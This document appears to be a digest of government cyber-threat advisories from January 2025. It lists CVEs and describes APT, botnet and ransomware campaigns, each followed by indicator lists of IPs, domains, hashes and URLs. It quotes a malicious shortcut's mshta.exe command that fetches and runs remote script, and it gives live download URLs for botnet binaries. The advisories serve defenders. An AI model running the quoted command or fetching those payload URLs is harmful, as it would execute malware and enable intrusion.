
gtre.net

idp.drdo.net

idp.dro.in

incometaxindia.in

karmayogibharat.net

kavach.mail.in

mod.gov.in.preventivemeasures.info

rac.go.vin

rci.drdoeproc.in

recruit-gov.com

saccess.in

saccess.nin.in

sparrow-drdo.eoffice.com

tdf.drdo.redmatter.tech

Saxophonesubbalaxmi.com

sparrow.im

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-20-008**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 532a13a57a97f99f5a5f072d3c7cb8b424dd880ba0902e4fcd145a3605015762

1. **VA-2025-01-21-009**

**Vulnerability in IBM**

An improper input validation vulnerability has been discovered in IBM Sterling Secure Proxy. The affected versions are IBM Sterling Secure Proxy 6.0.0.0, 6.0.0.1, 6.0.0.2, 6.0.0.3, 6.1.0.0 and 6.2.0.0.

CVE ID: CVE-2024-41783 (Critical)

**Vulnerability in Ivanti**

An authentication bypass vulnerability has been discovered in the admin web console of Ivanti CSA that allows a remote unauthenticated attacker to gain administrative access. The affected versions are Ivanti CSA before 5.0.3.

CVE ID: CVE-2024-11639 (Critical)

**Security Updates for Wordpress Adifier System plugin**

WordPress has released security updates to resolve a privilege escalation vulnerability in the Adifier System plugin. The affected versions are Adifier System plugin, all versions up to and including 3.1.7.

CVE ID: CVE-2024-13375 (Critical)

**Vulnerability in Tenda**

A command injection vulnerability has been discovered in Tenda. The affected version is Tenda AC500 2.0.1.9(1307).

CVE ID: CVE-2024-3908 (Critical)

**Moxa Security Updates**

Moxa has released security updates to address a missing authentication vulnerability in its Ethernet switches that can result in unauthorized access and system compromise.

CVE ID: CVE-2024-9137 (Critical)

**Vulnerability in Progress MOVEit Transfer**

An improper authentication vulnerability has been discovered in Progress MOVEit Transfer that can lead to authentication bypass. The affected versions are MOVEit Transfer: from 2023.0.0 before 2023.0.11, from 2023.1.0 before 2023.1.6, from 2024.0.0 before 2024.0.2.

CVE ID: CVE-2024-5806 (Critical)

**Vulnerability in F-logic DataCube3**

A SQL injection vulnerability has been discovered in F-logic DataCube3. The affected versions are F-logic DataCube3 v1.0.

CVE ID: CVE-2024-25833 (Critical)

**Vulnerability in Apache**

An use-after-free vulnerability has been discovered in Apache Xerces C++ XML parser. The affected versions are Apache Xerces C++ XML parser versions 3.0.0 before 3.2.5.

CVE ID: CVE-2024-23807 (Critical)

**Vulnerability in WuKongOpenSource**

An arbitrary code execution vulnerability has been discovered in WuKongOpenSource WukongCRM. The affected version is WuKongOpenSource WukongCRM v.72crm\_9.0.1\_20191202.

CVE ID: CVE-2024-23052 (Critical)

**Android Security Updates**

Android has released a security bulletin to resolve multiple vulnerabilities affecting several Android devices. Security patch levels of 2025-01-05 or later, address all of these issues.

CVE ID: CVE-2024-20154 (Critical), CVE-2024-43096 (Critical), CVE-2024-43770 (Critical), CVE-2024-43771 (Critical), CVE-2024-49747 (Critical), CVE-2024-49748 (Critical)

**Microsoft Released January 2025 Security Updates**

Microsoft has released security updates to address critical, high, and medium vulnerabilities in its products. An attacker can exploit some of these vulnerabilities to take control of an affected system.

CVE ID: CVE-2025-21307 (Critical), CVE-2025-21311 (Critical), CVE-2025-21298 (Critical)

**Ivanti Released Security Updates for Multiple Products**

Ivanti released security updates to address multiple vulnerabilities in Ivanti Avalanche, Ivanti Application Control Engine and Ivanti EPM.

CVE ID: CVE-2024-13181 (High), CVE-2024-13180 (High), CVE-2024-13179 (High), CVE-2024-10630 (High), CVE-2024-10811 (Critical), CVE-2024-13161 (Critical), CVE-2024-13160 (Critical), CVE-2024-13159 (Critical), CVE-2024-13158 (High), CVE-2024-13172 (High), CVE-2024-13171 (High), CVE-2024-13170 (High), CVE-2024-13169 (High), CVE-2024-13168 (High), CVE-2024-13167 (High), CVE-2024-13166 (High), CVE-2024-13165 (High), CVE-2024-13164 (High), CVE-2024-13163 (High), CVE-2024-13162 (High)

**Security Updates for WordPress Post Grid and Gutenberg Blocks plugin**

WordPress has released security updates to resolve an unauthentication privilege escalation vulnerability in Post Grid and Gutenberg Blocks plugin. The affected versions are Post Grid and Gutenberg Blocks plugin versions 2.2.85 to 2.3.3.

CVE ID: CVE-2024-9636 (Critical)

**Microsoft Released Security Updates for Windows NTLM V1**

Microsoft has released security updates to address an elevation of privilege vulnerability in Windows NTLM V1 affecting multiple Windows products.

CVE ID: CVE-2025-21311 (Critical)

**Microsoft Released Security Updates for Windows Reliable Multicast Transport Driver**

Microsoft has released security updates to address a Remote Code Execution (RCE) vulnerability in Windows Reliable Multicast Transport Driver affecting multiple Windows products.

CVE ID: CVE-2025-21307 (Critical)

**Microsoft Released Security Updates for Windows OLE**

Microsoft has released security updates to address a Remote Code Execution (RCE) vulnerability in Windows OLE affecting multiple Windows products.

CVE ID: CVE-2025-21298 (Critical)

**Security Updates for WordPress Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin**

WordPress has released security updates to resolve an authentication bypass vulnerability in Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin. The affected versions are Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin, all versions up to, and including, 2.13.7.

CVE ID: CVE-2024-12919 (Critical)

**Security Updates for WordPress GiveWP – Donation Plugin and Fundraising Platform plugin**

WordPress has released security updates to resolve the PHP object injection vulnerability in GiveWP – Donation Plugin and Fundraising Platform plugin. The affected versions are GiveWP – Donation Plugin and Fundraising Platform plugin, all versions up to, and including, 3.19.2.

CVE ID: CVE-2024-12877 (Critical)

**Security Updates for WordPress GiveWP – Donation Plugin and Fundraising Platform plugin**

WordPress has released security updates to resolve the PHP object injection vulnerability in GiveWP – Donation Plugin and Fundraising Platform plugin. The affected versions are GiveWP – Donation Plugin and Fundraising Platform plugin, all versions up to, and including, 3.19.3.

CVE ID: CVE-2025-22777 (Critical)

**Security Updates for WordPress WPBookit plugin**

WordPress has released security updates to resolve an arbitrary user password change vulnerability in WPBookit plugin. The affected versions are WPBookit plugin, all versions up to, and including, 1.6.4.

CVE ID: CVE-2024-10215 (Critical)

**Vulnerability in WordPress Post Grid Master – Custom Post Types, Taxonomies & Ajax Filter Everything with Infinite Scroll, Load More, Pagination & Shortcode Builder plugin**

An arbitrary user password change vulnerability has been discovered in WordPress Post Grid Master – Custom Post Types, Taxonomies & Ajax Filter Everything with Infinite Scroll, Load More, Pagination & Shortcode Builder plugin. The affected versions are Post Grid Master – Custom Post Types, Taxonomies & Ajax Filter Everything with Infinite Scroll, Load More, Pagination & Shortcode Builder plugin, all versions up to, and including, 3.4.12.

CVE ID: CVE-2024-11642 (Critical)

**Security Updates for WordPress File Upload plugin**

WordPress has released security updates to resolve a Remote Code Execution (RCE) vulnerability in File Upload plugin. The affected versions are File Upload plugin, all versions up to, and including, 4.24.12.

CVE ID: CVE-2024-11635 (Critical)

**Security Updates for WordPress File Upload plugin**

WordPress has released security updates to resolve a Remote Code Execution (RCE) , arbitrary file read, and arbitrary file deletion vulnerabilities in File Upload plugin. The affected versions are File Upload plugin, all versions up to, and including, 4.24.15.

**Vulnerability in WordPress FAT Event Lite plugin**

A local file inclusion vulnerability has been discovered in WordPress FAT Event Lite plugin. The affected versions are FAT Event Lite plugin, all versions up to, and including, 1.1.

CVE ID: CVE-2025-22508 (Critical)

**Vulnerability in WordPress 4ECPS Web Forms plugin**

An arbitrary file uploads due to missing file type validation vulnerability has been discovered in WordPress 4ECPS Web Forms plugin. The affected versions are 4ECPS Web Forms plugin, all versions up to, and including, 0.2.18.

CVE ID: CVE-2025-22504 (Critical)

**Vulnerability in WordPress School Management System – SakolaWP plugin**

A privilege escalation vulnerability has been discovered in Wordpress School Management System – SakolaWP plugin. The affected versions are School Management System – SakolaWP plugin, all versions up to, and including, 1.0.8.

CVE ID: CVE-2024-12470 (Critical)

**Vulnerability in WordPress PayU CommercePro Plugin**

A privilege escalation vulnerability has been discovered in Wordpress PayU CommercePro Plugin. The affected versions are PayU CommercePro Plugin, all versions up to, and including, 3.8.3.

CVE ID: CVE-2024-12264 (Critical)

**Vulnerability in WordPress SEO LAT Auto Post plugin**

A file overwrite vulnerability has been discovered in WordPress SEO LAT Auto Post plugin. The affected versions are SEO LAT Auto Post plugin, all versions up to, and including, 2.2.1.

CVE ID: CVE-2024-12252 (Critical)

1. **TA-APT-2025-01-21-007**

APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

185.211.5.76

154.38.175.75

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-21-023**

The state-sponsored threat group RedDelta has adapted the infection chain to distribute its customized PlugX backdoor. The first stage of its infection chain uses a Windows Shortcut (LNK) file likely delivered via spearphishing. User execution of the Shortcut LNK file led to the DLL search order hijacking. It has used spearphishing links to prompt a victim to load an HTML file remotely hosted on Microsoft Azure. RedDelta has consistently used the Cloudflare Content Distribution Network (CDN) to proxy Command and Control (C2) traffic, which enables the group to blend in with legitimate CDN traffic and complicates victim identification.

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**Domains:**

abecopiers.com

alicevivianny.com

aljazddra.com

alphadawgrecords.com

alvinclayman.com

antioxidantsnews.com

armzrace.com

artbykathrynmorin.com

atasensors.com

bkller.com

bonuscuk.com

bramjtop.com

buyinginfo.org

calgarycarfinancing.com

comparetextbook.com

conflictaslesson.com

councilofwizards.com

crappienews.com

createcopilot.com

cuanhuaanbinh.com

dmfarmnews.com

electrictulsa.com

elevateecom.com

epsross.com

erpdown.com

estmongolia.com

financialextremed.com

finasterideanswers.com

flaworkcomp.com

flfprlkgpppg.shop

getfiledown.com

getupdates.net

glassdoog.org

globaleyenews.com

goclamdep.net

goodrapp.com

gulfesolutions.com

hajjnewsbd.com

hisnhershealthynhappy.com

homeimageidea.com

howtotopics.com

importsmall.com

indiinfo.com

infotechtelecom.com

inhller.com

instalaymantiene.com

iplanforamerica.com

irprofiles.com

itduniversity.com

ivibers.com

jorzineonline.com

kelownahomerenovations.com

kentscaffolders.com

kerrvillehomeschoolers.com

kxmmcdmnb.online

lebohdc.com

linkonmarketing.com

loginge.com

lokjopppkuimlpo.shop

londonisthereason.com

looksnews.com

maineasce.com

meetviberapi.com

mexicoglobaluniversity.com

mobilefiledownload.com

mojhaloton.com

mongolianshipregistrar.com

mrytlebeachinfo.com

myynzl.com

newslandtoday.net

normalverkehr.com

nymsportsmen.com

oncalltechnical.com

onmnews.com

pgfabrics.com

pinaylizzie.com

profilepimpz.com

quickoffice360.com

redactnews.com

reformporta.com

richwoodgrill.com

riversidebreakingnews.com

rpcgenetics.com

sangkayrealnews.com

shreyaninfotech.com

smldatacenter.com

spencerinfo.net

starlightstar.com

tasensors.com

techoilproducts.com

thelocaltribe.com

tigermm.com

tigernewsmedia.com

tophooks.org

truckingaccidentattorneyblog.com

truff-evadee.com

tychonews.com

unixhonpo.com

usedownload.com

vanessalove.com

versaillesinfo.com

vopaklatinamerica.com

windowsfiledownload.com

xxmodkiufnsw.shop

365officemail.com

7gzi.com

**URLs:**

https[:]//getfiledown.com/utdkt

https[:]//versaillesinfo.com/brjwcabz

https[:]//lifeyomi.com/trkziu

https[:]//lebohdc.com/uleuodmm

https[:]//cdn7s65.z13.web.core.windows.net

https[:]//edupro4.z13.web.core.windows.net

https[:]//elevateecom.com/deqcehfg

https[:]//vabercoach.com/uenic

https[:]//artbykathrynmorin.com/lczjnmum

**IPs:**

115.61.168.143

115.61.168.170

115.61.168.229

115.61.169.139

115.61.170.105

115.61.170.70

182.114.108.91

182.114.108.93

182.114.110.11

182.114.110.170

103.79.120.92

45.83.236.105

116.206.178.67

45.133.239.183

116.206.178.68

103.238.225.248

45.133.239.21

103.238.227.183

103.107.104.37

107.148.32.206

167.179.100.144

116.206.178.34

149.104.2.160

207.246.106.38

45.76.132.25

155.138.203.78

144.76.60.136

38.180.75.197

107.155.56.15

107.155.56.87

202.91.36.213

107.155.56.4

149.104.12.64

154.205.136.105

223.26.52.208

45.128.153.73

96.43.101.245

45.135.119.132

161.97.107.93

103.107.105.81

103.107.104.4

103.107.104.57

154.90.47.123

147.78.12.202

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **SA-2025-01-22-002**

The advisory is being issued by NCIIPC, the national nodal body for Critical Information Infrastructure specifically to Critical Sector Entities (CSEs) with notified Protected Systems under IT Act and generally to Critical Sector Entities overall to maintain adequate cyber security preparedness to secure their critical networks and services during the Republic Day Parade and Beating The Retreat Ceremony-2025 scheduled on 26 and 29 January 2025 at Kartavya Path and Vijay Chowk in New Delhi respectively.

This prestigious national event may attract the attention of malicious cyber threat actors with a view to impact the smooth conduct of the events targeting Critical Information Infrastructure (CII) entities. For example, the themes/ programmes to the events may be weaponized as threat vectors, well before the event as subjects of phishing mails, etc.

It is important for Critical Sector organizations to heighten the monitoring of their CII/ICT and secure their public facing assets and endpoints to prevent any possibility of attacks on Critical Sector Entities (CSE). Entities are requested to keep in place immediate measures to be taken if a cyber-incident occurs. Any cyber security related incident observed, be reported to NCIIPC immediately.

1. **TA-PHI-2025-01-22-013**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email consists of a hyperlink with the title "NDC65-Updated-Schedule.pdf" which looks like an attachment. Upon clicking download, it downloads an archive file, NDC65-Updated-Schedule.zip. Upon extraction of the archive file, it contains "NDC65-Updated-Schedule.pdf.lnk" which is a shortcut file of Windows Operating System. On clicking the shortcut file, it downloads and executes "mshta.exe" with the command and URL (C:\Windows\System32\mshta.exe "https://modspaceinterior.com/wp-content/upgrade/01/" & mshta.exe). Execution of "mshta.exe" makes connection with the URL "https://modspaceinterior.com/wp-content/upgrade/01/". This file is capable of executing JavaScript or VBScript from a remote server, providing attackers with a means to execute code on a target system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

URL:-

https://modspaceinterior.com/wp-content/upgrade/01/

Domain:-

modspaceinterior.com

IPs:-

69.49.233.152

Hashes:

1d65fa0457a9917809660fff782689fe

4ac1c75e8cf3d74f85156088847b69d6415ac880

97e9fc3d3bbbcbdea3b3ea57953db9aad5e6f4f9d7f9d71e9309989ce26a8563

Filename:

NDC65-Updated-Schedule.zip

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-22-024**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.134.225.130

178.62.21.242

154.213.187.128

35.227.194.51

119.18.54.45

151.101.66.159

91.195.240.123

35.227.194.51

199.189.225.245

138.197.85.63

97.107.137.67

31.13.224.222

119.18.54.45

151.101.66.159

91.195.240.123

35.227.194.51

**URL:-**

https://iili.io/2u06mn2.jpg

**Domains:**

ratednextbarberschool.comcastbiz.net

build.ndyournewdo.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-22-025**

The Gafgyt malware, also known as Bashlite or Lizkebab, is targeting publicly exposed Docker Remote API servers instead of primarily focusing on IoT devices. Adversaries exploit misconfigured Docker servers by using the "alpine" Docker image to create a container, gain elevated privileges via the "chroot" command, and deploy the "rbot" malware. This botnet connects to a Command and Control (C2) server and launches Distributed Denial of Service (DDoS) attacks using UDP, TCP, and HTTP protocols. If the initial attempt fails, attackers deploy an alternate binary ("atlas.i586") or a shell script ("cve.sh") to download multiple botnet binaries for different system architectures. The malware also attempts to identify the local IP address by connecting to Google’s DNS server.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

b7f0ac1551ab58a1b84ba8e63dfc98dd126f7abe686137cbffc8ff95bfbac1ba

6b385dc32daff689c1c448bf5f9151996abbac730e167a9cbfa9111591f253ea

ed6c93faebd9a60e132f4f952a1b516e758ce0e445b225eb702dfd2c8c2db6c0

19778568781fd397ee2415d0a3593ffcaff4f333cdc27e52a1b23e07de08fdb6

f8388cba15175fa7fda8daacfd095972e1a96faaabeede411f99f42f71ae395b

0b7e14e3305fd25b250ad494c014b0f8dfefaf0f3e8413bd797db12dd2eb9d8c

f7004355f2bf653d3f055bc674822f99a8ff3692a02c1aec6b727a782e37b836

a79a9653209c9d942dee0be597e04845fc5250880edcc5c3cb50110153925a03

156c85a09a1d5d753ce3fd128e0bb6097bb5b18e6cc0ffe6f9bc99a218a21ed9

68c215494fd35e097bf76eb3886b95ec66fdc707ebcf10f221b4db4ac2cd6d70

bb2bd8819045055af5295c23d1293b2d215fabe7dcf097813b9624ab98a13976

c1c03eab6bbca461f4a9dc7395103cdb0aa018563e835150c66228f3d7edadaa

36ee47d10acbf8fbc7b16d4d237e2be567491b95dcd333856268c6c63a02f358

**IPs:**

178.215.238.24

178.215.238.31

**URLs:**

http://178.215.238.24/rbot

http://178.215.238.31/cve.sh

http://178.215.238.31/bins/atlas.arm4

http://178.215.238.31/bins/atlas.arm5

http://178.215.238.31/bins/atlas.arm6

http://178.215.238.31/bins/atlas.arm7

http://178.215.238.31/bins/atlas.i586

http://178.215.238.31/bins/atlas.i686

http://178.215.238.31/bins/atlas.m68k

http://178.215.238.31/bins/atlas.mips

http://178.215.238.31/bins/atlas.mipsel

http://178.215.238.31/bins/atlas.sh4

http://178.215.238.31/atlas.i586

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-22-013**

Termite Ransomware, for initial infection, uses a watering hole attack method that relies on malicious ad software to target its victims.  The watering hole attack is a type of cyberattack in which the attacker targets a specific group of individuals by compromising a website that they are known to visit frequently. The adverse aim is to infect the website or web application with malicious software, so that when the targeted individuals visit the website, their systems get infected.  Adversary ransomware uses a double extortion method extorting victims for a decryptor in order to prevent the release of stolen data.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

f0ec54b9dc2e64c214e92b521933cee172283ff5c942cf84fae4ec5b03abab55

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-23-008**

It has been observed that APT Gamaredon, state-sponsored cyber espionage group also known as Primitive Bear, UNC530, ACTINIUM, or Aqua Blizzard is using DNS fast-fluxing technique, which makes its tracking activity & finding related activity difficult. DNS fluxing effectively makes IP-based blocklisting more difficult. The technique involves frequently changing the IP addresses associated with a domain name by rapidly modifying DNS records.  The goal of DNS fluxing is to maintain access to a domain and avoid detection by constantly shifting the underlying infrastructure.

Adversaries have used synchronized DNS fluxing across multiple channels, including Telegram, Telegraph, and Filetransfer.io. Telegram has been used in multi-stage attacks to gather information on potential victims and deliver the final payloads.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

31.129.22.117

64.23.146.62

64.23.241.230

96.126.101.72

104.194.152.213

104.248.130.208

128.199.49.56

137.184.39.76

142.93.216.213

144.126.212.78

144.126.215.114

146.190.124.1

146.190.155.27

152.42.143.209

157.230.41.51

157.230.42.237

157.245.48.144

157.245.196.36

159.89.224.167

161.35.5.149

164.90.187.129

164.92.120.98

164.92.192.74

165.227.86.81

167.71.75.169

167.71.134.53

170.64.237.194

172.86.82.111

172.86.115.198

172.232.219.81

178.128.16.216

188.166.181.162

195.85.114.164

207.154.215.47

209.38.29.149

209.38.83.17

209.38.95.40

209.38.214.51

209.38.241.13

216.126.229.47

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-23-026**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

27.0.217.236

14.35.234.220

220.198.240.222

120.203.96.220

120.85.114.103

109.236.61.63

139.5.1.68

217.114.43.149

116.62.205.126

106.206.205.202

178.72.76.86

27.43.204.189

111.202.167.33

149.28.245.188

120.85.117.144

27.43.206.109

117.138.8.132

195.181.69.58

45.115.89.155

219.78.254.228

122.97.137.194

87.120.253.65

220.164.163.215

95.140.216.173

120.85.118.130

120.85.183.170

183.214.252.193

120.76.75.173

120.85.113.8

38.242.131.173

23.185.200.197

119.45.167.133

219.77.228.137

27.43.206.175

23.247.129.153

159.223.45.59

46.109.84.42

222.132.203.62

27.47.38.48

114.55.253.238

47.96.186.111

185.233.117.25

146.190.96.244

152.42.234.215

112.86.98.223

185.64.76.179

27.43.207.83

134.209.102.237

102.212.40.138

103.245.110.176

113.30.168.156

104.248.224.147

77.239.214.196

154.8.151.212

27.43.207.160

139.5.1.211

103.163.215.73

137.184.43.47

222.95.108.76

82.130.26.157

120.85.116.23

223.149.247.67

**URLs:-**

http://39.91.15.225:50160/

http://182.112.109.204:47033/

http://58.208.93.222:48853/

http://59.88.21.177:49734/

http://123.190.136.41:45292/

http://117.209.84.112:44584/

http://219.157.203.176:51581/

http://123.129.152.54:54470/

http://42.227.202.117:39640/

http://182.247.185.220:57910/

http://61.3.109.70:37121/

http://45.164.177.150:10886/

http://45.230.66.50:11523/

http://59.95.90.89:59058/

http://119.117.213.89:47507/

http://115.55.130.138:45908/

http://117.209.241.137:53626/

http://45.230.66.17:11681/

http://103.207.124.40:39562/

http://45.178.249.68:11839/

http://115.49.201.12:38226/

http://182.121.132.102:38877/

http://113.25.230.200:50241/

http://222.189.169.220:44139/

http://59.99.220.118:43658/

http://45.164.177.241:10474/

http://59.93.88.192:45444/

http://45.164.177.37:11517/

http://59.88.12.176:39315/

http://27.215.181.202:53458/

http://221.11.56.146:43835/

http://123.12.64.41:40544/

http://5.234.185.37:38383/

http://115.183.88.248:42846/

http://117.206.66.73:50168/

http://27.193.186.202:33530/

http://122.99.43.3:53489/

http://102.33.5.22:36372/

http://117.209.213.149:46086/

http://117.235.101.35:36879/

http://45.164.177.119:10348/

http://59.183.98.214:45886/

http://61.52.32.219:34301/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-23-014**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

www.email.gov.in.departmentofdefence.cc

indianrailway-gov.info

www.serviceonline.gov.in.cscvle.space

www.esewa.punjab.gov.in.certificateverificationfromqr.in

\*.departmentofdefence.cc

\*.gov.in.cscvle.space

\*.gov.in.certificateverificationfromqr.in

bharatpetrolium.in

indianoil.co.uk

coalindiaoffiselectionunit.com

hindusthanpetroleum.com

hindustanpetroleum.co

sancharsaathi.in

cbigovt.com

dc.crsorgi.gov.in.viewcertificate.in

eolakh.gujarat.gov.in.viewcertificate.in

gujarat.gov.in.viewcertificate.in

gov.in.viewcertificate.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-23-027**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

154.216.16.103

96.62.214.10

45.13.151.59

96.62.214.248

**Domains:**

23oko2k3.zapto.org

new1one.serveirc.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-23-028**

It has been observed that state-sponsored threat groups such as Fireant (aka Mustang Panda, APT31, Stately Taurus), Earth Baku (aka APT41, Brass Typhoon), Budworm (aka APT27, Emissary Panda, Lucky Mouse), and others are frequently sharing tools and using similar TTPs. A typical attack involves the use of a Remote Access Tool (RAT) that leverages Impacket to execute commands via WMI (Windows Management Instrumentation) and then installing keyloggers, password collectors and reverse proxy tools (Rakshasa, Stowaway, ReverseSSH) to maintain connections to adversary controlled infrastructure. The adversaries also install customized DLL files that act as authentication mechanism filters, allowing them to intercept login credentials. Adversary uses a proxy tool called Rakshasa and a legitimate application file for DLL sideloading.

